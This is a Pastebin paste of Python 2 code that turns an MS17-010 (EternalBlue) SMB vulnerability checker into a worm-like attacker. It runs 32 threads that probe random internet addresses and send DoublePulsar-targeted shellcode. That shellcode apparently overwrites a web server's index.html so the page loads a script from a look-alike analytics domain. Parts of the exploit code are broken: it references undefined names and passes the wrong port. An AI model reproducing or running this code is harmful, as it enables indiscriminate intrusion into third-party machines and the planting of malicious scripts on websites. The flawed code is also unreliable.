KekSec

eterenelfuck scanner

Oct 31st, 2017
782
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.75 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3.  
  4. """
  5. $ python2.7 smb_exploit.py 192.168.206.152
  6. [+] [192.168.206.152] is likely VULNERABLE to MS17-010! (Windows 7 Ultimate 7600)
  7.  
  8. $ python2.7 smb_exploit.py 192.168.206.130
  9. [+] [192.168.206.130] is likely VULNERABLE to MS17-010! (Windows 5.1)
  10. """
  11.  
  12. from ctypes import *
  13. import socket
  14. import struct
  15. import logging
  16. import random
  17. import threading
  18.  
  19. logging.basicConfig(level=logging.INFO, format="%(message)s")
  20. log = logging.getLogger(__file__)
  21.  
  22. # negotiate_proto_request
  23. # session_setup_andx_request
  24. # tree_connect_andx_request
  25. # peeknamedpipe_request
  26. # trans2 request
  27.  
  28.  
  29. class SMB_HEADER(Structure):
  30. """SMB Header decoder.
  31. """
  32.  
  33. _pack_ = 1 # Alignment
  34.  
  35. _fields_ = [
  36. ("server_component", c_uint32),
  37. ("smb_command", c_uint8),
  38. ("error_class", c_uint8),
  39. ("reserved1", c_uint8),
  40. ("error_code", c_uint16),
  41. ("flags", c_uint8),
  42. ("flags2", c_uint16),
  43. ("process_id_high", c_uint16),
  44. ("signature", c_uint64),
  45. ("reserved2", c_uint16),
  46. ("tree_id", c_uint16),
  47. ("process_id", c_uint16),
  48. ("user_id", c_uint16),
  49. ("multiplex_id", c_uint16)
  50. ]
  51.  
  52. def __new__(self, buffer=None):
  53. return self.from_buffer_copy(buffer)
  54.  
  55. def __init__(self, buffer):
  56. log.debug("server_component : %04x" % self.server_component)
  57. log.debug("smb_command : %01x" % self.smb_command)
  58. log.debug("error_class : %01x" % self.error_class)
  59. log.debug("error_code : %02x" % self.error_code)
  60. log.debug("flags : %01x" % self.flags)
  61. log.debug("flags2 : %02x" % self.flags2)
  62. log.debug("process_id_high : %02x" % self.process_id_high)
  63. log.debug("signature : %08x" % self.signature)
  64. log.debug("reserved2 : %02x" % self.reserved2)
  65. log.debug("tree_id : %02x" % self.tree_id)
  66. log.debug("process_id : %02x" % self.process_id)
  67. log.debug("user_id : %02x" % self.user_id)
  68. log.debug("multiplex_id : %02x" % self.multiplex_id)
  69.  
  70.  
  71. def generate_smb_proto_payload(*protos):
  72. """Generate SMB Protocol. Pakcet protos in order.
  73. """
  74. hexdata = []
  75. for proto in protos:
  76. hexdata.extend(proto)
  77. return "".join(hexdata)
  78.  
  79.  
  80. def calculate_doublepulsar_xor_key(s):
  81. """Calaculate Doublepulsar Xor Key
  82. """
  83. x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
  84. x = x & 0xffffffff # this line was added just to truncate to 32 bits
  85. return x
  86.  
  87.  
  88. def negotiate_proto_request():
  89. """Generate a negotiate_proto_request packet.
  90. """
  91. log.debug("generate negotiate request")
  92. netbios = [
  93. '\x00', # 'Message_Type'
  94. '\x00\x00\x54' # 'Length'
  95. ]
  96.  
  97. smb_header = [
  98. '\xFF\x53\x4D\x42', # 'server_component': .SMB
  99. '\x72', # 'smb_command': Negotiate Protocol
  100. '\x00\x00\x00\x00', # 'nt_status'
  101. '\x18', # 'flags'
  102. '\x01\x28', # 'flags2'
  103. '\x00\x00', # 'process_id_high'
  104. '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'
  105. '\x00\x00', # 'reserved'
  106. '\x00\x00', # 'tree_id'
  107. '\x2F\x4B', # 'process_id'
  108. '\x00\x00', # 'user_id'
  109. '\xC5\x5E' # 'multiplex_id'
  110. ]
  111.  
  112. negotiate_proto_request = [
  113. '\x00', # 'word_count'
  114. '\x31\x00', # 'byte_count'
  115.  
  116. # Requested Dialects
  117. '\x02', # 'dialet_buffer_format'
  118. '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', # 'dialet_name': LANMAN1.0
  119.  
  120. '\x02', # 'dialet_buffer_format'
  121. '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', # 'dialet_name': LM1.2X002
  122.  
  123. '\x02', # 'dialet_buffer_format'
  124. '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', # 'dialet_name3': NT LANMAN 1.0
  125.  
  126. '\x02', # 'dialet_buffer_format'
  127. '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' # 'dialet_name4': NT LM 0.12
  128. ]
  129.  
  130. return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
  131.  
  132.  
  133. def session_setup_andx_request():
  134. """Generate session setuo andx request.
  135. """
  136. log.debug("generate session setup andx request")
  137. netbios = [
  138. '\x00', # 'Message_Type'
  139. '\x00\x00\x63' # 'Length'
  140. ]
  141.  
  142. smb_header = [
  143. '\xFF\x53\x4D\x42', # 'server_component': .SMB
  144. '\x73', # 'smb_command': Session Setup AndX
  145. '\x00\x00\x00\x00', # 'nt_status'
  146. '\x18', # 'flags'
  147. '\x01\x20', # 'flags2'
  148. '\x00\x00', # 'process_id_high'
  149. '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'
  150. '\x00\x00', # 'reserved'
  151. '\x00\x00', # 'tree_id'
  152. '\x2F\x4B', # 'process_id'
  153. '\x00\x00', # 'user_id'
  154. '\xC5\x5E' # 'multiplex_id'
  155. ]
  156.  
  157. session_setup_andx_request = [
  158. '\x0D', # Word Count
  159. '\xFF', # AndXCommand: No further command
  160. '\x00', # Reserved
  161. '\x00\x00', # AndXOffset
  162. '\xDF\xFF', # Max Buffer
  163. '\x02\x00', # Max Mpx Count
  164. '\x01\x00', # VC Number
  165. '\x00\x00\x00\x00', # Session Key
  166. '\x00\x00', # ANSI Password Length
  167. '\x00\x00', # Unicode Password Length
  168. '\x00\x00\x00\x00', # Reserved
  169. '\x40\x00\x00\x00', # Capabilities
  170. '\x26\x00', # Byte Count
  171. '\x00', # Account
  172. '\x2e\x00', # Primary Domain
  173. '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', # Native OS: Windows 2000 2195
  174. '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', # Native OS: Windows 2000 5.0
  175. ]
  176.  
  177. return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
  178.  
  179.  
  180. def tree_connect_andx_request(ip, userid):
  181. """Generate tree connect andx request.
  182. """
  183. log.debug("generate tree connect andx request")
  184.  
  185. netbios = [
  186. '\x00', # 'Message_Type'
  187. '\x00\x00\x47' # 'Length'
  188. ]
  189.  
  190. smb_header = [
  191. '\xFF\x53\x4D\x42', # 'server_component': .SMB
  192. '\x75', # 'smb_command': Tree Connect AndX
  193. '\x00\x00\x00\x00', # 'nt_status'
  194. '\x18', # 'flags'
  195. '\x01\x20', # 'flags2'
  196. '\x00\x00', # 'process_id_high'
  197. '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'
  198. '\x00\x00', # 'reserved'
  199. '\x00\x00', # 'tree_id'
  200. '\x2F\x4B', # 'process_id'
  201. userid, # 'user_id'
  202. '\xC5\x5E' # 'multiplex_id'
  203. ]
  204.  
  205. ipc = "\\\\{}\IPC$\x00".format(ip)
  206. log.debug("Connecting to {} with UID = {}".format(ipc, userid))
  207.  
  208. tree_connect_andx_request = [
  209. '\x04', # Word Count
  210. '\xFF', # AndXCommand: No further commands
  211. '\x00', # Reserved
  212. '\x00\x00', # AndXOffset
  213. '\x00\x00', # Flags
  214. '\x01\x00', # Password Length
  215. '\x1A\x00', # Byte Count
  216. '\x00', # Password
  217. ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$
  218. '\x3f\x3f\x3f\x3f\x3f\x00' # Service
  219. ]
  220.  
  221. length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
  222. # netbios[1] = '\x00' + struct.pack('>H', length)
  223. netbios[1] = struct.pack(">L", length)[-3:]
  224.  
  225. return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
  226.  
  227.  
  228. def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
  229. """Generate tran2 request
  230. """
  231. log.debug("generate peeknamedpipe request")
  232. netbios = [
  233. '\x00', # 'Message_Type'
  234. '\x00\x00\x4a' # 'Length'
  235. ]
  236.  
  237. smb_header = [
  238. '\xFF\x53\x4D\x42', # 'server_component': .SMB
  239. '\x25', # 'smb_command': Trans2
  240. '\x00\x00\x00\x00', # 'nt_status'
  241. '\x18', # 'flags'
  242. '\x01\x28', # 'flags2'
  243. '\x00\x00', # 'process_id_high'
  244. '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'
  245. '\x00\x00', # 'reserved'
  246. treeid,
  247. processid,
  248. userid,
  249. multiplex_id
  250. ]
  251.  
  252. tran_request = [
  253. '\x10', # Word Count
  254. '\x00\x00', # Total Parameter Count
  255. '\x00\x00', # Total Data Count
  256. '\xff\xff', # Max Parameter Count
  257. '\xff\xff', # Max Data Count
  258. '\x00', # Max Setup Count
  259. '\x00', # Reserved
  260. '\x00\x00', # Flags
  261. '\x00\x00\x00\x00', # Timeout: Return immediately
  262. '\x00\x00', # Reversed
  263. '\x00\x00', # Parameter Count
  264. '\x4a\x00', # Parameter Offset
  265. '\x00\x00', # Data Count
  266. '\x4a\x00', # Data Offset
  267. '\x02', # Setup Count
  268. '\x00', # Reversed
  269. '\x23\x00', # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023)
  270. '\x00\x00', # SMB Pipe Protocol: FID
  271. '\x07\x00',
  272. '\x5c\x50\x49\x50\x45\x5c\x00' # \PIPE\
  273. ]
  274.  
  275. return generate_smb_proto_payload(netbios, smb_header, tran_request)
  276.  
  277.  
  278. def trans2_request(treeid, processid, userid, multiplex_id):
  279. """Generate trans2 request.
  280. """
  281. log.debug("generate tran2 request")
  282. netbios = [
  283. '\x00', # 'Message_Type'
  284. '\x00\x00\x4f' # 'Length'
  285. ]
  286.  
  287. smb_header = [
  288. '\xFF\x53\x4D\x42', # 'server_component': .SMB
  289. '\x32', # 'smb_command': Trans2
  290. '\x00\x00\x00\x00', # 'nt_status'
  291. '\x18', # 'flags'
  292. '\x07\xc0', # 'flags2'
  293. '\x00\x00', # 'process_id_high'
  294. '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'
  295. '\x00\x00', # 'reserved'
  296. treeid,
  297. processid,
  298. userid,
  299. multiplex_id
  300. ]
  301.  
  302. trans2_request = [
  303. '\x0f', # Word Count
  304. '\x0c\x00', # Total Parameter Count
  305. '\x00\x00', # Total Data Count
  306. '\x01\x00', # Max Parameter Count
  307. '\x00\x00', # Max Data Count
  308. '\x00', # Max Setup Count
  309. '\x00', # Reserved
  310. '\x00\x00', # Flags
  311. '\xa6\xd9\xa4\x00', # Timeout: 3 hours, 3.622 seconds
  312. '\x00\x00', # Reversed
  313. '\x0c\x00', # Parameter Count
  314. '\x42\x00', # Parameter Offset
  315. '\x00\x00', # Data Count
  316. '\x4e\x00', # Data Offset
  317. '\x01', # Setup Count
  318. '\x00', # Reserved
  319. '\x0e\x00', # subcommand: SESSION_SETUP
  320. '\x00\x00', # Byte Count
  321. '\x0c\x00' + '\x00' * 12
  322. ]
  323.  
  324. return generate_smb_proto_payload(netbios, smb_header, trans2_request)
  325.  
  326. def exploit(ip, shellcode, port=445):
  327. """Check if MS17_010 SMB Vulnerability exists.
  328. """
  329. try:
  330. buffersize = 1024
  331. timeout = 5.0
  332.  
  333. # Send smb request based on socket.
  334. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  335. client.settimeout(timeout)
  336. client.connect((ip, port))
  337.  
  338. # SMB - Negotiate Protocol Request
  339. raw_proto = negotiate_proto_request()
  340. client.send(raw_proto)
  341. tcp_response = client.recv(buffersize)
  342.  
  343. # SMB - Session Setup AndX Request
  344. raw_proto = session_setup_andx_request()
  345. client.send(raw_proto)
  346. tcp_response = client.recv(buffersize)
  347.  
  348. netbios = tcp_response[:4]
  349. smb_header = tcp_response[4:36] # SMB Header: 32 bytes
  350. smb = SMB_HEADER(smb_header)
  351.  
  352. user_id = struct.pack('<H', smb.user_id)
  353.  
  354. # parse native_os from Session Setup Andx Response
  355. session_setup_andx_response = tcp_response[36:]
  356. native_os = session_setup_andx_response[9:].split('\x00')[0]
  357.  
  358. # SMB - Tree Connect AndX Request
  359. raw_proto = tree_connect_andx_request(ip, user_id)
  360. client.send(raw_proto)
  361. tcp_response = client.recv(buffersize)
  362.  
  363. netbios = tcp_response[:4]
  364. smb_header = tcp_response[4:36] # SMB Header: 32 bytes
  365. smb = SMB_HEADER(smb_header)
  366.  
  367. tree_id = struct.pack('<H', smb.tree_id)
  368. process_id = struct.pack('<H', smb.process_id)
  369. user_id = struct.pack('<H', smb.user_id)
  370. multiplex_id = struct.pack('<H', smb.multiplex_id)
  371.  
  372. # SMB - PeekNamedPipe Request
  373. raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
  374. client.send(raw_proto)
  375. tcp_response = client.recv(buffersize)
  376.  
  377. netbios = tcp_response[:4]
  378. smb_header = tcp_response[4:36]
  379. smb = SMB_HEADER(smb_header)
  380.  
  381. # nt_status = smb_header[5:9]
  382. nt_status = struct.pack('BBH', smb.error_class, smb.reserved1, smb.error_code)
  383.  
  384. # 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES - vulnerable
  385. # 0xC0000008 - STATUS_INVALID_HANDLE
  386. # 0xC0000022 - STATUS_ACCESS_DENIED
  387.  
  388. if nt_status == '\x05\x02\x00\xc0':
  389. log.info("[+] [{}] is likely VULNERABLE to MS17-010! ({})".format(ip, native_os))
  390.  
  391. # vulnerable to MS17-010, check for DoublePulsar infection
  392. raw_proto = trans2_request(tree_id, process_id, user_id, multiplex_id)
  393. client.send(raw_proto)
  394. tcp_response = client.recv(buffersize)
  395.  
  396. netbios = tcp_response[:4]
  397. smb_header = tcp_response[4:36]
  398. smb = SMB_HEADER(smb_header)
  399.  
  400. if smb.multiplex_id == 0x0051:
  401. key = calculate_doublepulsar_xor_key(smb.signature)
  402. log.info("Host is likely INFECTED with DoublePulsar! - XOR Key: {}".format(key))
  403. fake_recv_struct = pack('<QII', 0, 3, 0)
  404. fake_recv_struct += '\x00'*16
  405. fake_recv_struct += pack('<QII', 0, 3, 0)
  406. fake_recv_struct += ('\x00'*16)*7
  407. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
  408. fake_recv_struct += '\x00'*16
  409. fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
  410. fake_recv_struct += ('\x00'*16)*11
  411. fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
  412. fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
  413. fake_recv_struct += ('\x00'*16)*3
  414. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
  415. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
  416. client.send(fake_recv_struct + shellcode)
  417. elif nt_status in ('\x08\x00\x00\xc0', '\x22\x00\x00\xc0'):
  418. log.info("[-] [{}] does NOT appear vulnerable".format(ip))
  419. else:
  420. log.info("[-] [{}] Unable to detect if this host is vulnerable".format(ip))
  421.  
  422. except Exception as err:
  423. log.error("[-] [{}] Exception: {}".format(ip, err))
  424. finally:
  425. client.close()
  426.  
  427. def scan():
  428. while 1:
  429. exploit(socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))), "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31\xd2\x58\x88\x50\x05\xeb\x2d\x31\xd2\x59\x88\x51\x01\xeb\x2c\x51\x50\xff\x55\x04\xeb\x2a\x31\xd2\x59\x88\x51\x05\xeb\x2d\x51\x50\x89\xc6\xff\x55\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xffC:\\xampp\\htdocs\\index.html\x4e\xe8\xce\xff\xff\xff\x77\x4e\xe8\xcf\xff\xff\xff\xe8\xd1\xff\xff\xff<html><body><script type=\"text/javascript\" src=\"http://www.google-analytics.ml/urchin.js\"></script><body></html>\x4e\xe8\xce\xff\xff\xff", 13)
  430.  
  431. for i in range(0,32):
  432. threading.Thread(target=scan, args=()).start()
Advertisement
Add Comment
Please, Sign In to add comment